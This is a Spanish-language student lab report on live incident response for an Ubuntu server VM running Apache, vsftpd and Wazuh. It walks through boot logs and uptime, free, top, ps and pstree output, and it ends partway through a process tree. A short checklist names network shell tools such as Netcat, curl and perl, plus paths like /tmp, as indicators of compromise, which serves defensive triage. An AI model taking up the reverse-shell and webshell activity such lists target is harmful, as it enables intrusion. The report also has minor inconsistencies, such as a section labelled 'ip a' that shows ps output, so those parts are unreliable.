

Santiago Acosta

22/9/2026

Santiago Acosta

Respuesta en vivo de incidentes

Nombre: 4geeks-server-lab

Servidor Ubuntu 20.04 (64-bit)

Memoria base: 4gb

Procesadores: 2

Orden de arranque: Disquete, Óptica, Disco duro

Memoria de video: 16MB

Controlador grafico: VMSVGA

Puerto SATA 0: 15 GB

Adaptador de red: inter PRO/1000 MT Desktop

Controlador USB: OHCI, EHCI

Fase 1: Reconocimiento y recolección de evidencias

Durante el proceso de inicialización y revisión de consolas tty, se detectaron fallos críticos de conectividad externa y advertencias de inicialización.

```
Ubuntu 20.04.6 LTS 4geeks-server tty1
4geeks-server login: [ 32.677129] cloud-init[993]: Cloud-init v. 23.1.2-0ubuntu0~20.04.2 running 'modules:config' at Tue, 22 Sep 2026 23:30:43 +0000. Up 32.25 seconds.
[ 39.276206] cloud-init[1361]: Cloud-init v. 23.1.2-0ubuntu0~20.04.2 running 'modules:final' at Tue, 22 Sep 2026 23:30:50 +0000. Up 38.87 seconds.
[ 39.276344] cloud-init[1361]: Cloud-init v. 23.1.2-0ubuntu0~20.04.2 finished at Tue, 22 Sep 2026 23:30:50 +0000. Datasource DataSourceNone. Up 39.23 seconds
[ 39.276400] cloud-init[1361]: 2026-09-22 23:30:50,532 - cc_final_message.py[WARNING]: Used fallback datasource
```

Aviso de fallo de arranque cloud-init

Diagnóstico de Cloud-Init y Conectividad

cloud-init (versión 23.1.2) intentó consultar la fuente de metadatos en la infraestructura de la nube y al no recibir respuesta, recurrió al origen alternativo local.

Falla sistemática al intentar resolver y conectar contra `changelogs.ubuntu.com`. Esto confirma que el servidor se encuentra aislado o con las interfaces de red externas bloqueadas/desconfiguradas, situación ideal para el aislamiento preventivo de la amenaza durante la contención.

```
[ 39.276400] cloud-init[1361]: 2026-09-22 23:30:50,532 - cc_final_message.py[WARNING]: Used fallback datasource
```

Aviso de uso de fallback datasource

```

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

System information as of Tue 22 Sep 2026 11:44:17 PM UTC

System load: 0.0          Memory usage: 5%    Processes:    113
Usage of /:  39.1% of 14.66GB  Swap usage:  0%    Users logged in: 0

* Ubuntu 20.04 LTS Focal Fossa has reached its end of standard support on 31 Ma

For more details see:
https://ubuntu.com/20-04

* Introducing Expanded Security Maintenance for Applications.
  Receive updates to over 25,000 software packages with your
  Ubuntu Pro subscription. Free for personal use.

  https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection
or proxy settings

last login: Mon Jun 23 16:40:54 UTC 2025 on tty1

```

Login

Al logearnos con las respectivas credenciales, se llega a notar que si hay un error de conexión en la página de Ubuntu tras el login.

```

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection
or proxy settings

```

Así que este servidor tendría algunas opciones limitadas por un posible ataque a este.

Análisis Volátil en Memoria RAM y Procesos

El objetivo de esta parte es determinar si existen vectores de ejecución dinámica en memoria como criptomneros, shells reversas en ejecución interactiva, o troyanos en segundo plano.

Empezando este análisis utilizando el comando uptime.

El resultado del comando uptime muestra el estado general del sistema en términos de tiempo encendido, sesiones de usuario activas y carga de trabajo del procesador.

```

sysadmin@4geeks-server:~$ uptime
21:42:40 up 7 min,  1 user,  load average: 0.01, 0.19, 0.13

```

Tiempo de la session activa

21:42:40: Hora actual del sistema operativo

up 7 min: Tiempo que lleva el sistema encendido de forma continua desde su último arranque.

1 user: Número de sesiones de usuario activas actualmente en el sistema por ejemplo, mi sesión SSH o terminal local.

load average: 0.01, 0.19, 0.13: Carga media del procesador medida en tres intervalos de tiempo: los últimos 1 minuto, 5 minutos y 15 minutos, respectivamente. Al llevar solo 7 minutos desde que lo prendí, los promedios de carga de 5 y 15 minutos reflejan principalmente el proceso de inicio del sistema.

Uso de procesador (Load Average):

1 minuto (0.01): El consumo actual de CPU es extremadamente bajo (prácticamente inactivo). PNG

5 minutos (0.19) y 15 minutos (0.13): Hubo un ligero pico de actividad en los primeros minutos tras el arranque que ya finalizó.

En este preciso instante, no hay procesos maliciosos realizando ataques masivos de denegación de servicio DDoS, criptominería intensiva o escaneos activos de red que estén saturando la CPU.

Muestra únicamente una sesión abierta. Si eres tú quien está conectado mediante SSH o consola local, significa que en este momento no hay otros usuarios interactuando de forma interactiva en una terminal.

Ahora voy a ver la pantalla de resumen del sistema, que presenta las métricas de recursos en el momento exacto en que se generó la sesión.

```
System load: 0.0          Memory usage: 5%    Processes:      113
Usage of /:  39.1% of 14.66GB  Swap usage:  0%    Users logged in: 0
```

Métricas de recursos

System load: 0.0: La carga actual del procesador es prácticamente cero. Confirma lo que se vio con uptime, la CPU no tiene trabajo acumulado ni tareas pesadas pendientes en cola.

Usage of /: 39.1% of 14.66GB: El disco principal tiene ocupado el **39.1%** de un total de aproximadamente 14.66 GB (unos 5.7 GB usados) Es un uso de disco muy normal para una instalación limpia de Ubuntu con algunos paquetes instalados.

Tampoco hay indicios de que un malware esté llenando el disco con archivos basuras o registros masivos en este momento.

Memory usage: 5%: El uso de la memoria RAM principal está en un nivel súper bajo solo 5%.

Swap usage: 0%: No se está haciendo uso de la memoria (swap) en el disco, lo cual es excelente porque la RAM física no está saturada.

Hay 113 procesos en ejecución en segundo plano como servicios del sistema operativo, daemon de SSH, servicios web, etc.. Para una instancia de Ubuntu Server, 113 procesos es una cifra completamente estándar.

En el instante en que se capturó o refrescó este reporte, no había otros usuarios interactivos con sesión iniciada.

El servidor está funcionando de manera óptima y holgada, sin síntomas de sobrecarga, esto descarta amenazas de alto consumo visible como mineros de criptomonedas o ataques DoS masivos salientes.

Las amenazas presentes en este servidor pueden ser: Backdoors webs como archivos .php maliciosos ocultos en las carpetas del servidor web como Nginx o Puertas traseras de SSH y claves autorizadas no reconocidas.

Ahora a comprobar la salida con el comando `free -h` que muestra el estado de la memoria RAM y Swap en un formato legible para humanos en Gigabytes/Megabytes.

```
sgsadmin@4gEEKS-server: ~$ free -h
```

	total	used	free	shared	buff/cache	available
Mem:	3.8Gi	174Mi	3.3Gi	1.0Mi	350Mi	3.4Gi
Swap:	3.1Gi	0B	3.1Gi			

Estado de memoria RAM y Swap

Memoria RAM principal:

total 3.8Gi: El servidor cuenta con 3.8 GB de memoria RAM instalada.

used 174Mi: Solo se están utilizando 174 MB de memoria RAM.

free 3.3Gi: Hay 3.3 GB de RAM completamente libres e intocadas.

shared 1.0Mi: Solo 1.0 MB está asignado a memoria compartida.

buff/cache 350Mi: El sistema operativo utiliza 350 MB para cachés y búferes del sistema de archivos para acelerar la lectura de datos.

available 3.4Gi: Hay 3.4 GB realmente disponibles para lanzar nuevos procesos sin tener que recurrir a la memoria de intercambio.

Swap:

total 3.1Gi: Hay una partición o archivo de Swap de 3.1 GB.

used 0B: Se están utilizando 0 Bytes de Swap.

free 3.1Gi: Todo el espacio de intercambio está disponible.

El consumo activo de RAM es sumamente bajo, 174 MB de 3.8 GB aproximadamente un 4.5%. Esto coincide perfectamente con el 5% que mostraba el resultado del MOTD anterior. No hay programas en segundo plano consumiendo memoria de forma inusual como procesos maliciosos hechos en Java, Python, Node, o mineros de criptomonedas basados en RAM

Al igual que ocurrió con la CPU y el disco, la memoria RAM está limpia de sobrecargas de rendimiento en este momento. El malware no está intentando saturar o agotar la memoria del servidor.

Con el comando (top # o htop) se podran mostrar los procesos activos ordenados por consumo de CPU o RAM, en tiempo real.

Para encontrar procesos con alto uso de CPU sin justificación.

Ahora se usa el comando top #o htop para mostrar un monitor de recursos en tiempo real que muestra cuánta CPU y cuánta memoria RAM se está consumiendo en total.

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
177	root	20	0	0	0	0	I	0.3	0.0	0:00.69	kworker/0:3-events
290	root	20	0	0	0	0	S	0.3	0.0	0:00.06	jbd2/sda2-8
1019	root	20	0	25880	3604	2448	S	0.3	0.1	0:00.04	wazuh-execd
1056	root	20	0	536280	9884	8396	S	0.3	0.2	0:00.18	wazuh-logcollec
1644	root	20	0	0	0	0	I	0.3	0.0	0:00.10	kworker/u4:2-events_power_e+
1	root	20	0	168164	11544	8520	S	0.0	0.3	0:02.13	systemd
2	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kthreadd
3	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_gp
4	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_par_gp
6	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/0:0H-kblockd
7	root	20	0	0	0	0	I	0.0	0.0	0:00.33	kworker/u4:0-events_power_e+
8	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	mm_percpu_wq
9	root	20	0	0	0	0	S	0.0	0.0	0:00.03	ksoftirqd/0
10	root	20	0	0	0	0	I	0.0	0.0	0:00.81	rcu_sched
11	root	rt	0	0	0	0	S	0.0	0.0	0:00.01	migration/0
12	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/0
13	root	20	0	0	0	0	I	0.0	0.0	0:00.32	kworker/0:1-events
14	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/0
15	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/1
16	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/1
17	root	rt	0	0	0	0	S	0.0	0.0	0:00.42	migration/1
18	root	20	0	0	0	0	S	0.0	0.0	0:00.06	ksoftirqd/1
20	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/1:0H-kblockd
21	root	20	0	0	0	0	S	0.0	0.0	0:00.03	kdevtmpfs
22	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	netns
23	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tasks_kthre
24	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kauditd
25	root	20	0	0	0	0	S	0.0	0.0	0:00.00	khungtaskd
26	root	20	0	0	0	0	S	0.0	0.0	0:00.00	oom_reaper
27	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	writeback

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
1836	sysadmin	20	0	9252	3836	3168	R	0.3	0.1	0:00.01	top
1	root	20	0	168164	11544	8520	S	0.0	0.3	0:02.13	systemd
2	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kthreadd
3	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_gp
4	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_par_gp
6	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/0:0H-kblockd
7	root	20	0	0	0	0	I	0.0	0.0	0:00.33	kworker/u4:0-events_power_e+
8	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	mm_percpu_wq
9	root	20	0	0	0	0	S	0.0	0.0	0:00.03	ksoftirqd/0
10	root	20	0	0	0	0	I	0.0	0.0	0:00.81	rcu_sched
11	root	rt	0	0	0	0	S	0.0	0.0	0:00.01	migration/0
12	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/0
13	root	20	0	0	0	0	I	0.0	0.0	0:00.32	kworker/0:1-events
14	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/0
15	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/1
16	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/1
17	root	rt	0	0	0	0	S	0.0	0.0	0:00.42	migration/1
18	root	20	0	0	0	0	S	0.0	0.0	0:00.06	ksoftirqd/1
20	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/1:0H-kblockd
21	root	20	0	0	0	0	S	0.0	0.0	0:00.03	kdevtmpfs
22	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	netns
23	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tasks_kthre
24	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kauditd
25	root	20	0	0	0	0	S	0.0	0.0	0:00.00	khungtaskd
26	root	20	0	0	0	0	S	0.0	0.0	0:00.00	oom_reaper
27	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	writeback
28	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kcompactd0
29	root	25	5	0	0	0	S	0.0	0.0	0:00.00	ksmd
30	root	39	19	0	0	0	S	0.0	0.0	0:00.00	khugepaged
76	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kintegrityd

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
1	root	20	0	168164	11544	8520	S	0.0	0.3	0:02.13	systemd
2	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kthreadd
3	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_gp
4	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_par_gp
6	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/0:0H-kblockd
7	root	20	0	0	0	0	I	0.0	0.0	0:00.33	kworker/u4:0-events_power_e+
8	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	mm_percpu_wq
9	root	20	0	0	0	0	S	0.0	0.0	0:00.03	ksoftirqd/0
10	root	20	0	0	0	0	I	0.0	0.0	0:00.83	rcu_sched
11	root	rt	0	0	0	0	S	0.0	0.0	0:00.01	migration/0
12	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/0
13	root	20	0	0	0	0	I	0.0	0.0	0:00.32	kworker/0:1-events
14	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/0
15	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/1
16	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/1
17	root	rt	0	0	0	0	S	0.0	0.0	0:00.42	migration/1
18	root	20	0	0	0	0	S	0.0	0.0	0:00.06	ksoftirqd/1
20	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/1:0H-kblockd
21	root	20	0	0	0	0	S	0.0	0.0	0:00.03	kdevtmpfs
22	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	netns
23	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tasks_kthre
24	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kauditd
25	root	20	0	0	0	0	S	0.0	0.0	0:00.00	khungtaskd
26	root	20	0	0	0	0	S	0.0	0.0	0:00.00	oom_reaper
27	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	writeback
28	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kcompactd0
29	root	25	5	0	0	0	S	0.0	0.0	0:00.00	ksmd
30	root	39	19	0	0	0	S	0.0	0.0	0:00.00	khugepaged
76	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kintegrityd
77	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kblockd
8	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	mm_percpu_wq
9	root	20	0	0	0	0	S	0.0	0.0	0:00.03	ksoftirqd/0
10	root	20	0	0	0	0	I	0.0	0.0	0:00.83	rcu_sched
11	root	rt	0	0	0	0	S	0.0	0.0	0:00.01	migration/0
12	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/0
13	root	20	0	0	0	0	I	0.0	0.0	0:00.32	kworker/0:1-events
14	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/0
15	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/1
16	root	-51	0	0	0	0	S	0.0	0.0	0:00.00	idle_inject/1
17	root	rt	0	0	0	0	S	0.0	0.0	0:00.42	migration/1
18	root	20	0	0	0	0	S	0.0	0.0	0:00.06	ksoftirqd/1
20	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker/1:0H-kblockd
21	root	20	0	0	0	0	S	0.0	0.0	0:00.03	kdevtmpfs
22	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	netns
23	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tasks_kthre
24	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kauditd
25	root	20	0	0	0	0	S	0.0	0.0	0:00.00	khungtaskd
26	root	20	0	0	0	0	S	0.0	0.0	0:00.00	oom_reaper
27	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	writeback
28	root	20	0	0	0	0	S	0.0	0.0	0:00.00	kcompactd0
29	root	25	5	0	0	0	S	0.0	0.0	0:00.00	ksmd
30	root	39	19	0	0	0	S	0.0	0.0	0:00.00	khugepaged
76	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kintegrityd
77	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kblockd

Procesos de CPU y RAM en tiempo real

En las capturas no se observa ningún proceso sospechoso ni anómalo consumiendo recursos de forma indebida.

La inmensa mayoría de la lista son hilos internos del kernel de Linux como kthreadd, kworker/*, rcu_sched, migration/*, kauditd, etc. Todos están ejecutados por el usuario root con consumo de %CPU en 0.0 y %MEM casi nulo.

Algunos malware no se inician automáticamente al arrancar la máquina, o necesitan que el servicio web infectado reciba una petición Web para activarse.

La tabla que se ve está ordenada de forma predeterminada por PID o similar

Los procesos maliciosos o scripts sospechosos suelen crearse más tarde, por lo que reciben PIDs más altos como 1500, 3200, etc. Esto los manda al fondo de la lista, fuera del área visible de tu terminal.

Ocultamiento de actividad real. Como el malware no está en la primera página, no puedes notar a simple vista si un proceso de Python, Bash o Netcat se activa repentinamente y empieza a consumir 100% de CPU.

Ahora con el comando **ip a** voy a buscar los procesos que no encontré, buscando interfaces de red, direcciones IP y estados de las interfaces.

```
root      631  0.0  0.0      0      0 ?        S<   21:35   0:00 [loop2]
systemd+  643  0.0  0.1  90880  6116 ?        Ss   21:35   0:00 /lib/systemd/systemd-timesyncd
systemd+  683  0.0  0.1  19068  7420 ?        Ss   21:35   0:00 /lib/systemd/systemd-networkd
systemd+  685  0.0  0.3  25476 12984 ?        Ss   21:35   0:00 /lib/systemd/systemd-resolved
root      716  0.0  0.1 235576  7492 ?        Ss1  21:37   0:00 /usr/lib/accounts-service/accounts
root      720  0.0  0.0   6816  2900 ?        Ss   21:37   0:00 /usr/sbin/cron -f
message+  721  0.0  0.1   7568  4532 ?        Ss   21:37   0:00 /usr/bin/dbus-daemon --system --a
root      733  0.0  0.0   81828  3720 ?        Ss1  21:37   0:00 /usr/sbin/irqbalance --foreground
root      735  0.0  0.4  29668 18624 ?        Ss   21:37   0:00 /usr/bin/python3 /usr/bin/network
root      736  0.0  0.1  232732  6800 ?        Ss1  21:37   0:00 /usr/lib/policykit-1/polkitd --no
syslog    747  0.0  0.1  224344  4988 ?        Ss1  21:37   0:00 /usr/sbin/rsyslogd -n -iNONE
root      750  0.0  0.7 1320052 29804 ?        Ss1  21:37   0:00 /usr/lib/snapd/snapd
root      760  0.0  0.1   17312  7640 ?        Ss   21:37   0:00 /lib/systemd/systemd-logind
root      762  0.0  0.3 393268 12136 ?        Ss1  21:37   0:00 /usr/lib/udisks2/udisksd
daemon    765  0.0  0.0   3796  2132 ?        Ss   21:37   0:00 /usr/sbin/atd -f
root      769  0.0  0.0   6808  3024 ?        Ss   21:37   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root      780  0.0  0.0   5992  3948 tty1     Ss   21:37   0:00 /bin/login -p --
root      812  0.0  0.5 107924 21012 ?        Ss1  21:37   0:00 /usr/bin/python3 /usr/share/unatt
root      817  0.0  0.2 241372 11224 ?        Ss1  21:37   0:00 /usr/sbin/ModemManager
root      821  0.0  0.1   12188  7128 ?        Ss   21:37   0:00 sshd: /usr/sbin/sshd -D [listener
root      859  0.0  0.1   6676  4588 ?        Ss   21:37   0:00 /usr/sbin/apache2 -k start
www-data  860  0.0  0.1 1211564  4556 ?        S1   21:37   0:00 /usr/sbin/apache2 -k start
www-data  861  0.0  0.1 1211564  4556 ?        S1   21:37   0:00 /usr/sbin/apache2 -k start
root     1019  0.0  0.0   25880  3604 ?        S1   21:37   0:00 /var/ossec/bin/wazuh-execd
wazuh     1030  0.0  0.1 173620  7684 ?        S1   21:38   0:00 /var/ossec/bin/wazuh-agentd
root     1043  0.0  0.2 124284  8216 ?        SN1  21:38   0:00 /var/ossec/bin/wazuh-syscheckd
root     1056  0.0  0.2 536280  9892 ?        S1   21:38   0:00 /var/ossec/bin/wazuh-logcollector
root     1073  0.0  0.4 600800 17152 ?        S1   21:38   0:00 /var/ossec/bin/wazuh-modulesd
root     1644  0.0  0.0      0      0 ?        I    21:41   0:00 [kworker/u4:2-events_unbound]
sysadmin  1760  0.0  0.2   19056  9548 ?        Ss   21:42   0:00 /lib/systemd/systemd --user
sysadmin  1768  0.0  0.0 169780  3408 ?        S    21:42   0:00 (sd-pam)
sysadmin  1774  0.0  0.1   8380  5248 tty1     S    21:42   0:00 -bash
root     1856  0.0  0.0      0      0 ?        I    21:48   0:00 [kworker/u4:0-events_power_effici
root     1857  0.1  0.0      0      0 ?        I    21:49   0:00 [kworker/1:0-events]
root     1886  0.0  0.0      0      0 ?        I    21:50   0:00 [kworker/1:3-cgroup_destroy]
sysadmin  1887  0.0  0.0   9040  3280 tty1     R+   21:52   0:00 ps aux --sort=start_time
sysadmin@4geeks-server:~$ _
```

Se puede observar el resultado de haber ejecutado previamente un comando como **ps aux --sort=start_time** o similar, por lo que aún no aparece la salida del comando **ip a**

Sin embargo, esta captura de procesos que adjuntaste tiene información clave de seguridad que vale la pena analizar primero:

Servidor Web Apache (apache2):

PIDs 859, 860 y 861: Se están ejecutando bajo el usuario `www-data` (`/usr/sbin/apache2 -k start`).

Esto confirma que el punto de entrada o la aplicación web expuesta utiliza Apache. Es común que los vectores de infección en servidores web provengan de scripts PHP subidos a la carpeta `/var/www/html/`.

Servidor FTP (vsftpd):

PID 769: Muestra `/usr/sbin/vsftpd /etc/vsftpd.conf` corriendo como `root`.

Los servicios FTP sin cifrar o con credenciales débiles, son vectores frecuentes de ataque para subir puertas traseras o webshells.

Agente de Seguridad (Wazuh):

PIDs 1019, 1030, 1043, 1056, 1073: Componentes activos de Wazuh como `wazuh-agentd`, `wazuh-syscheckd`, etc..

Ahora a ver todos los procesos activos como usuario, uso de CPU, memoria, tiempo de inicio, y comando.

root	631	0.0	0.0	0	0 ?	S<	21:35	0:00	[loop2]
systemd+	643	0.0	0.1	90880	6116 ?	Ssl	21:35	0:00	/lib/systemd/systemd-timesyncd
systemd+	683	0.0	0.1	19068	7420 ?	Ss	21:35	0:00	/lib/systemd/systemd-networkd
systemd+	685	0.0	0.3	25476	12984 ?	Ss	21:35	0:00	/lib/systemd/systemd-resolved
root	716	0.0	0.1	235576	7492 ?	Ssl	21:37	0:00	/usr/lib/accounts-service/accounts
root	720	0.0	0.0	6816	2900 ?	Ss	21:37	0:00	/usr/sbin/cron -f
message+	721	0.0	0.1	7568	4532 ?	Ss	21:37	0:00	/usr/bin/dbus-daemon --system --a
root	733	0.0	0.0	81828	3720 ?	Ssl	21:37	0:00	/usr/sbin/irqbalance --foreground
root	735	0.0	0.4	29668	18624 ?	Ss	21:37	0:00	/usr/bin/python3 /usr/bin/network
root	736	0.0	0.1	232732	6800 ?	Ssl	21:37	0:00	/usr/lib/policykit-1/polkitd --no
syslog	747	0.0	0.1	224344	4988 ?	Ssl	21:37	0:00	/usr/sbin/rsyslogd -n -iNONE
root	750	0.0	0.7	1320052	29804 ?	Ssl	21:37	0:00	/usr/lib/snapd/snapd
root	760	0.0	0.1	17312	7640 ?	Ss	21:37	0:00	/lib/systemd/systemd-logind
root	762	0.0	0.3	393268	12136 ?	Ssl	21:37	0:00	/usr/lib/udisks2/udisksd
daemon	765	0.0	0.0	3796	2132 ?	Ss	21:37	0:00	/usr/sbin/atd -f
root	769	0.0	0.0	6808	3024 ?	Ss	21:37	0:00	/usr/sbin/vsftpd /etc/vsftpd.conf
root	780	0.0	0.0	5992	3948 tty1	Ss	21:37	0:00	/bin/login -p --
root	812	0.0	0.5	107924	21012 ?	Ssl	21:37	0:00	/usr/bin/python3 /usr/share/unatt
root	817	0.0	0.2	241372	11224 ?	Ssl	21:37	0:00	/usr/sbin/ModemManager
root	821	0.0	0.1	12188	7128 ?	Ss	21:37	0:00	sshd: /usr/sbin/sshd -D [listener
root	859	0.0	0.1	6676	4588 ?	Ss	21:37	0:00	/usr/sbin/apache2 -k start
www-data	860	0.0	0.1	1211564	4556 ?	Sl	21:37	0:00	/usr/sbin/apache2 -k start
www-data	861	0.0	0.1	1211564	4556 ?	Sl	21:37	0:00	/usr/sbin/apache2 -k start
root	1019	0.0	0.0	25880	3604 ?	Sl	21:37	0:00	/var/ossec/bin/wazuh-execd
wazuh	1030	0.0	0.1	173620	7684 ?	Sl	21:38	0:00	/var/ossec/bin/wazuh-agentd
root	1043	0.0	0.2	124284	8216 ?	SNl	21:38	0:00	/var/ossec/bin/wazuh-syscheckd
root	1056	0.0	0.2	536280	9892 ?	Sl	21:38	0:00	/var/ossec/bin/wazuh-logcollector
root	1073	0.0	0.4	600800	17152 ?	Sl	21:38	0:00	/var/ossec/bin/wazuh-modulesd
root	1644	0.0	0.0	0	0 ?	I	21:41	0:00	[kworker/u4:2-events_unbound]
sysadmin	1760	0.0	0.2	19056	9548 ?	Ss	21:42	0:00	/lib/systemd/systemd --user
sysadmin	1768	0.0	0.0	169780	3408 ?	S	21:42	0:00	(sd-pam)
sysadmin	1774	0.0	0.1	8380	5248 tty1	S	21:42	0:00	-bash
root	1856	0.0	0.0	0	0 ?	I	21:48	0:00	[kworker/u4:0-events_power_effici
root	1857	0.1	0.0	0	0 ?	I	21:49	0:00	[kworker/1:0-events]
root	1886	0.0	0.0	0	0 ?	I	21:50	0:00	[kworker/1:3-cgroup_destroy]
sysadmin	1887	0.0	0.0	9040	3280 tty1	R+	21:52	0:00	ps aux --sort-start_time

Todos los procesos iniciados por root corresponden a servicios y daemons estándar de Linux Ubuntu o agentes de seguridad legítimos:

Procesos base/sistema: /lib/systemd/*, /usr/sbin/cron, /usr/sbin/rsyslogd, /usr/sbin/sshd, /usr/lib/snapd/snapd.

Procesos del kernel (entre corchetes): [loop2], [kworker/u4:2...].

Servicios de red legítimos: /usr/sbin/vsftpd /etc/vsftpd.conf (servidor FTP) y /usr/sbin/apache2 -k start (servidor web).

Plataforma SIEM/EDR: /var/ossec/bin/wazuh-* (agentes de monitoreo Wazuh).

Uso de Python:

PID 735: /usr/bin/python3 /usr/bin/network... (probablemente networkd-dispatcher).

PID 812: /usr/bin/python3 /usr/share/unatt... (unattended-upgrades, el actualizador automático de Ubuntu).

Ambos son scripts legítimos del sistema operativo corriendo desde rutas oficiales (/usr/bin/ y /usr/share/).

Herramientas sospechosas (nc, curl, perl, bash, sh):

No aparece ningún proceso invocando nc (Netcat), curl o perl.

El único proceso bash (PID 1774) pertenece al usuario legítimo sysadmin en la terminal interactiva tty1.

Procesos ejecutados desde rutas anómalas (/tmp/, /dev/shm/, etc.):

Ninguno. Todos los ejecutables listados residen en directorios de sistema seguros como /usr/sbin/, /usr/bin/, /lib/ o /var/ossec/.

En este listado no hay ningún proceso sospechoso ni evidencia directa de infección en ejecución.

Sin embargo, en entornos web comprometidos como este servidor que ejecuta Apache y FTP, la infección no siempre está corriendo de forma continua como un proceso independiente. Lo habitual es que el atacante mantenga un Backdoor PHP / WebShell en /var/www/html/ que solo se activa temporalmente cada vez que se le hace una petición HTTP.

Inspección del Árbol de Procesos

Se analizaron los 113 procesos activos en el sistema. La estructura jerárquica depende de systemd (PID 1) y se clasifica de la siguiente manera:

Comando pstree -p muestra todos los procesos que se están ejecutando en el sistema organizados en forma de **árbol jerárquico** y con su **identificador de proceso (PID)**.

```

systemd(1)---ModemManager(817)---{ModemManager}(822)
    |   |   |
    |   |   +--{ModemManager}(825)
    |   +--accounts-daemon(716)---{accounts-daemon}(739)
    |       |   |
    |       |   +--{accounts-daemon}(815)
    |       +--apache2(859)---{apache2}(860)---{apache2}(863)
    |           |   |   |
    |           |   |   +--{apache2}(864)
    |           |   |   +--{apache2}(865)
    |           |   |   +--{apache2}(866)
    |           |   |   +--{apache2}(868)
    |           |   |   +--{apache2}(869)
    |           |   |   +--{apache2}(871)
    |           |   |   +--{apache2}(873)
    |           |   |   +--{apache2}(875)
    |           |   |   +--{apache2}(877)
    |           |   |   +--{apache2}(879)
    |           |   |   +--{apache2}(883)
    |           |   |   +--{apache2}(885)
    |           |   |   +--{apache2}(887)
    |           |   |   +--{apache2}(889)
    |           |   |   +--{apache2}(892)
    |           |   |   +--{apache2}(894)
    |           |   |   +--{apache2}(899)
    |           |   |   +--{apache2}(900)
    |           |   |   +--{apache2}(901)
    |           |   |   +--{apache2}(904)
    |           |   |   +--{apache2}(906)
    |           |   |   +--{apache2}(907)
    |           |   |   +--{apache2}(909)
    |           |   |   +--{apache2}(911)
    |           |   |   +--{apache2}(913)
    |           |   +--apache2(861)---{apache2}(870)
    |           |       |   |
    |           |       |   +--{apache2}(872)
    |           |       |   +--{apache2}(874)
    |           |       |   +--{apache2}(876)
    |           |       |   +--{apache2}(878)
    |           |       |   +--{apache2}(880)
    |           |       +--{apache2}(915)
    |           +--atd(765)
    |           +--cron(720)
    |           +--dbus-daemon(721)
    |           +--irqbalance(733)---{irqbalance}(746)
    |           +--login(780)---bash(1774)---less(2111)
    |               |   |
    |               |   +--pstree(2110)
    |               +--multipathd(619)---{multipathd}(620)
    |                   |   |
    |                   |   +--{multipathd}(621)
    |                   |   +--{multipathd}(622)
    |                   |   +--{multipathd}(623)
    |                   |   +--{multipathd}(624)
    |                   +--{multipathd}(625)
    |           +--networkd-dispatch(735)
